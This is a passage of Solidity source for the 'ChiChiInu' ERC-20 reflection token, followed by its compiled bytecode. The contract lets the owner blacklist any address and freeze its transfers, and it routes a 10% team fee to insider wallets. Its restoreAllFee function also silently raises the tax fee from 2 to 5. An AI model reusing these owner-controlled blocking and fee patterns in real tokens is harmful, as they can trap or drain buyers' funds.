function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ChiChiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ChiChiInu";
string private constant _symbol = "CHICHI";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600981526020017f436869436869496e750000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4348494348490000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915